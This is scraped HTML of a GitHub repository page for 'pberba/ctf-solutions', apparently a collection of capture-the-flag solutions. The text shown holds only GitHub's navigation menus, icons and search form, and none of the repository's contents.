<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="145188639" data-scoped-search-url="/pberba/ctf-solutions/search" data-owner-scoped-search-url="/users/pberba/search" data-unscoped-search-url="/search" data-turbo="false" action="/pberba/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="KK+vbzXhpriy1RYPtZAg7ICHL7YfjAGHOmOrRIGdCIMQ4G+AgxCLQFnAklROo4PjSHN4DTHfolPPkWlAE3dh/w==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> pberba </span> <span>/</span> ctf-solutions
<span></span><span>Public</span> </div>
</div>
